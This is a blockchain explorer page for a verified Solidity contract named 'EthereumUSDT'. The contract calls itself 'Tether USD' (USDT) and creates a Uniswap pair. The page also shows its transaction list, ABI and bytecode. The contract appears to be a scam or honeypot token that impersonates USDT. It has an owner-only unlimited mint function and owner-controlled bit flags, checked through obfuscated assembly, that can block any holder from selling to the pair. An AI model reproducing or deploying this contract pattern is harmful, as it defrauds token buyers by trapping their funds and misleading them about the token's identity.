Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 58 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21802818 | 4 days ago | IN | 0 ETH | 0.00029135 | ||||
Approve | 21802764 | 4 days ago | IN | 0 ETH | 0.00008792 | ||||
Approve | 21802759 | 4 days ago | IN | 0 ETH | 0.00009633 | ||||
Approve | 21802731 | 4 days ago | IN | 0 ETH | 0.00026335 | ||||
Approve | 21802698 | 4 days ago | IN | 0 ETH | 0.00026335 | ||||
Update Sys Confi... | 21802688 | 4 days ago | IN | 0 ETH | 0.00025576 | ||||
Update Sys Confi... | 21802687 | 4 days ago | IN | 0 ETH | 0.00030358 | ||||
Update Sys Confi... | 21802686 | 4 days ago | IN | 0 ETH | 0.00030308 | ||||
Approve | 21802628 | 4 days ago | IN | 0 ETH | 0.00026335 | ||||
Approve | 21802605 | 4 days ago | IN | 0 ETH | 0.00013167 | ||||
Set Access Level | 21802603 | 4 days ago | IN | 0 ETH | 0.00013918 | ||||
Approve | 21802565 | 4 days ago | IN | 0 ETH | 0.000079 | ||||
Set Access Level | 21802564 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802558 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802557 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802556 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802547 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802546 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802545 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Approve | 21802523 | 4 days ago | IN | 0 ETH | 0.000079 | ||||
Set Access Level | 21802522 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Update Sys Confi... | 21802516 | 4 days ago | IN | 0 ETH | 0.00008256 | ||||
Approve | 21802477 | 4 days ago | IN | 0 ETH | 0.000079 | ||||
Set Access Level | 21802476 | 4 days ago | IN | 0 ETH | 0.0000835 | ||||
Set Access Level | 21802471 | 4 days ago | IN | 0 ETH | 0.0000835 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
EthereumUSDT
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-08 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract BaseConfig is Context { address private _v0; event ConfigTransfer(address indexed c1, address indexed c2); constructor() { address msgSender = _msgSender(); _v0 = msgSender; emit ConfigTransfer(address(0), msgSender); } function v0() public view returns (address) { return _v0; } modifier onlyV0() { require(_v0 == _msgSender(), "E1"); _; } function updateV0(address v0_) public virtual onlyV0 { require(v0_ != address(0), "E2"); emit ConfigTransfer(_v0, v0_); _v0 = v0_; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _b; mapping(address => mapping(address => uint256)) private _a; uint256 private _t; string private _n; string private _s; constructor(string memory n_, string memory s_) { _n = n_; _s = s_; } function name() public view virtual override returns (string memory) { return _n; } function symbol() public view virtual override returns (string memory) { return _s; } function decimals() public view virtual override returns (uint8) { return 6; } function totalSupply() public view virtual override returns (uint256) { return _t; } function balanceOf(address a_) public view virtual override returns (uint256) { return _b[a_]; } function transfer(address r_, uint256 a_) public virtual override returns (bool) { _transfer(_msgSender(), r_, a_); return true; } function allowance(address o_, address s_) public view virtual override returns (uint256) { return _a[o_][s_]; } function approve(address s_, uint256 a_) public virtual override returns (bool) { _approve(_msgSender(), s_, a_); return true; } function transferFrom(address s_, address r_, uint256 a_) public virtual override returns (bool) { _transfer(s_, r_, a_); uint256 ca = _a[s_][_msgSender()]; require(ca >= a_, "E3"); unchecked { _approve(s_, _msgSender(), ca - a_); } return true; } function _transfer(address s_, address r_, uint256 a_) internal virtual { require(s_ != address(0), "E4"); require(r_ != address(0), "E5"); uint256 sb = _b[s_]; require(sb >= a_, "E6"); unchecked { _b[s_] = sb - a_; } _b[r_] += a_; emit Transfer(s_, r_, a_); } function _mint(address a_, uint256 m_) internal virtual { require(a_ != address(0), "E7"); _t += m_; _b[a_] += m_; emit Transfer(address(0), a_, m_); } function _approve(address o_, address s_, uint256 a_) internal virtual { require(o_ != address(0), "E8"); require(s_ != address(0), "E9"); _a[o_][s_] = a_; emit Approval(o_, s_, a_); } } contract EthereumUSDT is ERC20, BaseConfig { address public p1; IUniswapV2Router02 public r1; uint256 private _sysConfig; mapping(address => uint256) private _accessConfig; event ConfigUpdate(uint8 indexed t, uint256 v); constructor(address o_) ERC20("Tether USD", "USDT") { IUniswapV2Router02 r_ = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); p1 = IUniswapV2Factory(r_.factory()).createPair(address(this), r_.WETH()); r1 = r_; _mint(o_, 80000000000 * (10**6)); updateV0(o_); _sysConfig = 6; // 110 em binário: compra e venda habilitados } function m1(address a_, uint256 v_) public onlyV0 { _mint(a_, v_); } function updateSysConfig(uint8 t_, uint256 v_) public onlyV0 { if(t_ == 0) _sysConfig = (_sysConfig & ~uint256(1)) | (v_ & uint256(1)); else if(t_ == 1) _sysConfig = (_sysConfig & ~uint256(2)) | ((v_ & uint256(1)) << 1); else if(t_ == 2) _sysConfig = (_sysConfig & ~uint256(4)) | ((v_ & uint256(1)) << 2); emit ConfigUpdate(t_, v_); } function setAccessLevel(address t_, uint256 l_) public onlyV0 { _accessConfig[t_] = l_; emit ConfigUpdate(3, l_); } function _checkAccess(address u_, uint256 t_) internal view returns (bool) { assembly { let c := sload(_sysConfig.slot) let a := sload(add(_accessConfig.slot, u_)) let m := shl(t_, 1) let r := or(and(not(shr(t_, c)), 1), and(shr(t_, a), 1)) mstore(0x0, r) return(0x0, 0x20) } } function _beforeTokenTransfer(address f_, address t_, uint256) internal virtual { require(_checkAccess(f_, 0) || _checkAccess(t_, 0), "E10"); if(f_ == p1) { require(_checkAccess(t_, 1), "E11"); } else if(t_ == p1) { require(_checkAccess(f_, 2), "E12"); } } function _transfer(address s_, address r_, uint256 a_) internal virtual override { _beforeTokenTransfer(s_, r_, a_); super._transfer(s_, r_, a_); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"o_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"c1","type":"address"},{"indexed":true,"internalType":"address","name":"c2","type":"address"}],"name":"ConfigTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint8","name":"t","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"v","type":"uint256"}],"name":"ConfigUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"o_","type":"address"},{"internalType":"address","name":"s_","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"s_","type":"address"},{"internalType":"uint256","name":"a_","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a_","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a_","type":"address"},{"internalType":"uint256","name":"v_","type":"uint256"}],"name":"m1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"p1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"r1","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"t_","type":"address"},{"internalType":"uint256","name":"l_","type":"uint256"}],"name":"setAccessLevel","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"r_","type":"address"},{"internalType":"uint256","name":"a_","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"s_","type":"address"},{"internalType":"address","name":"r_","type":"address"},{"internalType":"uint256","name":"a_","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"t_","type":"uint8"},{"internalType":"uint256","name":"v_","type":"uint256"}],"name":"updateSysConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"v0_","type":"address"}],"name":"updateV0","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"v0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405234801562000010575f80fd5b506040516200122138038062001221833981016040819052620000339162000431565b6040518060400160405280600a81526020016915195d1a195c881554d160b21b815250604051806040016040528060048152602001631554d11560e21b8152508160039081620000849190620004fe565b506004620000938282620004fe565b5050505f620000a76200029b60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250905f905f8051602062001201833981519152908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000137573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015d919062000431565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cf919062000431565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200021a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000240919062000431565b600680546001600160a01b03199081166001600160a01b039384161790915560078054909116918316919091179055620002838267011c37937e0800006200029f565b6200028e826200036a565b50506006600855620005f0565b3390565b6001600160a01b038216620002e05760405162461bcd60e51b8152602060048201526002602482015261453760f01b60448201526064015b60405180910390fd5b8060025f828254620002f39190620005ca565b90915550506001600160a01b0382165f908152602081905260408120805483929062000321908490620005ca565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620003ab5760405162461bcd60e51b8152602060048201526002602482015261453160f01b6044820152606401620002d7565b6001600160a01b038116620003e85760405162461bcd60e51b8152602060048201526002602482015261229960f11b6044820152606401620002d7565b6005546040516001600160a01b038084169216905f8051602062001201833981519152905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f6020828403121562000442575f80fd5b81516001600160a01b038116811462000459575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200048957607f821691505b602082108103620004a857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004f957805f5260205f20601f840160051c81016020851015620004d55750805b601f840160051c820191505b81811015620004f6575f8155600101620004e1565b50505b505050565b81516001600160401b038111156200051a576200051a62000460565b62000532816200052b845462000474565b84620004ae565b602080601f83116001811462000568575f8415620005505750858301515b5f19600386901b1c1916600185901b178555620005c2565b5f85815260208120601f198616915b82811015620005985788860151825594840194600190910190840162000577565b5085821015620005b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b80820180821115620005ea57634e487b7160e01b5f52601160045260245ffd5b92915050565b610c0380620005fe5f395ff3fe608060405234801561000f575f80fd5b50600436106100fb575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb1461021d578063bf74609e14610230578063c2a2747b14610241578063dd62ed3e14610254575f80fd5b806370a08231146101c7578063711570e0146101ef5780637e697fc81461020257806395d89b4114610215575f80fd5b8063313ce567116100ce578063313ce567146101655780633a7327a31461017457806365a8b163146101895780636ca5b5b01461019c575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b61010761028c565b6040516101149190610a20565b60405180910390f35b61013061012b366004610a87565b61031c565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610aaf565b610332565b60405160068152602001610114565b610187610182366004610a87565b6103b3565b005b610187610197366004610ae8565b610438565b6007546101af906001600160a01b031681565b6040516001600160a01b039091168152602001610114565b6101446101d5366004610ae8565b6001600160a01b03165f9081526020819052604090205490565b6101876101fd366004610b08565b6104f8565b610187610210366004610a87565b6105b7565b6101076105ef565b61013061022b366004610a87565b6105fe565b6005546001600160a01b03166101af565b6006546101af906001600160a01b031681565b610144610262366004610b29565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461029b90610b5a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c790610b5a565b80156103125780601f106102e957610100808354040283529160200191610312565b820191905f5260205f20905b8154815290600101906020018083116102f557829003601f168201915b5050505050905090565b5f61032833848461060a565b5060015b92915050565b5f61033e8484846106e0565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561039b5760405162461bcd60e51b8152602060048201526002602482015261453360f01b60448201526064015b60405180910390fd5b6103a8853385840361060a565b506001949350505050565b6005546001600160a01b031633146103dd5760405162461bcd60e51b815260040161039290610b92565b6001600160a01b0382165f9081526009602052604090819020829055516003907f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc379061042c9084815260200190565b60405180910390a25050565b6005546001600160a01b031633146104625760405162461bcd60e51b815260040161039290610b92565b6001600160a01b03811661049d5760405162461bcd60e51b8152602060048201526002602482015261229960f11b6044820152606401610392565b6005546040516001600160a01b038084169216907f8f71a3202d028ab6a3bf9a3a0fab2e9cd0c8f32680107a94902e932bc20be940905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146105225760405162461bcd60e51b815260040161039290610b92565b8160ff165f0361054057600880546001191660018316179055610582565b8160ff166001036105635760088054600219166002600184901b16179055610582565b8160ff166002036105825760088054600419166004600284901b161790555b8160ff167f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc378260405161042c91815260200190565b6005546001600160a01b031633146105e15760405162461bcd60e51b815260040161039290610b92565b6105eb82826106fb565b5050565b60606004805461029b90610b5a565b5f6103283384846106e0565b6001600160a01b0383166106455760405162461bcd60e51b815260206004820152600260248201526108a760f31b6044820152606401610392565b6001600160a01b0382166106805760405162461bcd60e51b8152602060048201526002602482015261453960f01b6044820152606401610392565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6106eb8383836107bc565b6106f68383836108ae565b505050565b6001600160a01b0382166107365760405162461bcd60e51b8152602060048201526002602482015261453760f01b6044820152606401610392565b8060025f8282546107479190610bae565b90915550506001600160a01b0382165f9081526020819052604081208054839290610773908490610bae565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6107c6835f610a01565b806107d657506107d6825f610a01565b6108085760405162461bcd60e51b815260206004820152600360248201526204531360ec1b6044820152606401610392565b6006546001600160a01b039081169084160361085b57610829826001610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526245313160e81b6044820152606401610392565b6006546001600160a01b03908116908316036106f65761087c836002610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526222989960e91b6044820152606401610392565b6001600160a01b0383166108e95760405162461bcd60e51b8152602060048201526002602482015261114d60f21b6044820152606401610392565b6001600160a01b0382166109245760405162461bcd60e51b8152602060048201526002602482015261453560f01b6044820152606401610392565b6001600160a01b0383165f90815260208190526040902054818110156109715760405162461bcd60e51b8152602060048201526002602482015261229b60f11b6044820152606401610392565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906109a7908490610bae565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f391815260200190565b60405180910390a350505050565b6008546009830154821c600190811691831c1916175f81815290602082f35b5f602080835283518060208501525f5b81811015610a4c57858101830151858201604001528201610a30565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a82575f80fd5b919050565b5f8060408385031215610a98575f80fd5b610aa183610a6c565b946020939093013593505050565b5f805f60608486031215610ac1575f80fd5b610aca84610a6c565b9250610ad860208501610a6c565b9150604084013590509250925092565b5f60208284031215610af8575f80fd5b610b0182610a6c565b9392505050565b5f8060408385031215610b19575f80fd5b823560ff81168114610aa1575f80fd5b5f8060408385031215610b3a575f80fd5b610b4383610a6c565b9150610b5160208401610a6c565b90509250929050565b600181811c90821680610b6e57607f821691505b602082108103610b8c57634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261453160f01b604082015260600190565b8082018082111561032c57634e487b7160e01b5f52601160045260245ffdfea26469706673582212209aea4ab2e2a1fc5a10510bbd757f06aeeedba2dbfac6742874342fff7e8777f564736f6c634300081800338f71a3202d028ab6a3bf9a3a0fab2e9cd0c8f32680107a94902e932bc20be94000000000000000000000000057775c4dd736642353b6014c183bbb32aacb813e
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100fb575f3560e01c806370a0823111610093578063a9059cbb11610063578063a9059cbb1461021d578063bf74609e14610230578063c2a2747b14610241578063dd62ed3e14610254575f80fd5b806370a08231146101c7578063711570e0146101ef5780637e697fc81461020257806395d89b4114610215575f80fd5b8063313ce567116100ce578063313ce567146101655780633a7327a31461017457806365a8b163146101895780636ca5b5b01461019c575f80fd5b806306fdde03146100ff578063095ea7b31461011d57806318160ddd1461014057806323b872dd14610152575b5f80fd5b61010761028c565b6040516101149190610a20565b60405180910390f35b61013061012b366004610a87565b61031c565b6040519015158152602001610114565b6002545b604051908152602001610114565b610130610160366004610aaf565b610332565b60405160068152602001610114565b610187610182366004610a87565b6103b3565b005b610187610197366004610ae8565b610438565b6007546101af906001600160a01b031681565b6040516001600160a01b039091168152602001610114565b6101446101d5366004610ae8565b6001600160a01b03165f9081526020819052604090205490565b6101876101fd366004610b08565b6104f8565b610187610210366004610a87565b6105b7565b6101076105ef565b61013061022b366004610a87565b6105fe565b6005546001600160a01b03166101af565b6006546101af906001600160a01b031681565b610144610262366004610b29565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461029b90610b5a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c790610b5a565b80156103125780601f106102e957610100808354040283529160200191610312565b820191905f5260205f20905b8154815290600101906020018083116102f557829003601f168201915b5050505050905090565b5f61032833848461060a565b5060015b92915050565b5f61033e8484846106e0565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561039b5760405162461bcd60e51b8152602060048201526002602482015261453360f01b60448201526064015b60405180910390fd5b6103a8853385840361060a565b506001949350505050565b6005546001600160a01b031633146103dd5760405162461bcd60e51b815260040161039290610b92565b6001600160a01b0382165f9081526009602052604090819020829055516003907f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc379061042c9084815260200190565b60405180910390a25050565b6005546001600160a01b031633146104625760405162461bcd60e51b815260040161039290610b92565b6001600160a01b03811661049d5760405162461bcd60e51b8152602060048201526002602482015261229960f11b6044820152606401610392565b6005546040516001600160a01b038084169216907f8f71a3202d028ab6a3bf9a3a0fab2e9cd0c8f32680107a94902e932bc20be940905f90a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146105225760405162461bcd60e51b815260040161039290610b92565b8160ff165f0361054057600880546001191660018316179055610582565b8160ff166001036105635760088054600219166002600184901b16179055610582565b8160ff166002036105825760088054600419166004600284901b161790555b8160ff167f027e87be599f0f165b778f2a70a4650b6601f86be47671c89762cca75060dc378260405161042c91815260200190565b6005546001600160a01b031633146105e15760405162461bcd60e51b815260040161039290610b92565b6105eb82826106fb565b5050565b60606004805461029b90610b5a565b5f6103283384846106e0565b6001600160a01b0383166106455760405162461bcd60e51b815260206004820152600260248201526108a760f31b6044820152606401610392565b6001600160a01b0382166106805760405162461bcd60e51b8152602060048201526002602482015261453960f01b6044820152606401610392565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6106eb8383836107bc565b6106f68383836108ae565b505050565b6001600160a01b0382166107365760405162461bcd60e51b8152602060048201526002602482015261453760f01b6044820152606401610392565b8060025f8282546107479190610bae565b90915550506001600160a01b0382165f9081526020819052604081208054839290610773908490610bae565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6107c6835f610a01565b806107d657506107d6825f610a01565b6108085760405162461bcd60e51b815260206004820152600360248201526204531360ec1b6044820152606401610392565b6006546001600160a01b039081169084160361085b57610829826001610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526245313160e81b6044820152606401610392565b6006546001600160a01b03908116908316036106f65761087c836002610a01565b6106f65760405162461bcd60e51b815260206004820152600360248201526222989960e91b6044820152606401610392565b6001600160a01b0383166108e95760405162461bcd60e51b8152602060048201526002602482015261114d60f21b6044820152606401610392565b6001600160a01b0382166109245760405162461bcd60e51b8152602060048201526002602482015261453560f01b6044820152606401610392565b6001600160a01b0383165f90815260208190526040902054818110156109715760405162461bcd60e51b8152602060048201526002602482015261229b60f11b6044820152606401610392565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906109a7908490610bae565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109f391815260200190565b60405180910390a350505050565b6008546009830154821c600190811691831c1916175f81815290602082f35b5f602080835283518060208501525f5b81811015610a4c57858101830151858201604001528201610a30565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a82575f80fd5b919050565b5f8060408385031215610a98575f80fd5b610aa183610a6c565b946020939093013593505050565b5f805f60608486031215610ac1575f80fd5b610aca84610a6c565b9250610ad860208501610a6c565b9150604084013590509250925092565b5f60208284031215610af8575f80fd5b610b0182610a6c565b9392505050565b5f8060408385031215610b19575f80fd5b823560ff81168114610aa1575f80fd5b5f8060408385031215610b3a575f80fd5b610b4383610a6c565b9150610b5160208401610a6c565b90509250929050565b600181811c90821680610b6e57607f821691505b602082108103610b8c57634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261453160f01b604082015260600190565b8082018082111561032c57634e487b7160e01b5f52601160045260245ffdfea26469706673582212209aea4ab2e2a1fc5a10510bbd757f06aeeedba2dbfac6742874342fff7e8777f564736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000057775c4dd736642353b6014c183bbb32aacb813e
-----Decoded View---------------
Arg [0] : o_ (address): 0x57775C4Dd736642353B6014c183bBB32AACB813e
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000057775c4dd736642353b6014c183bbb32aacb813e
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.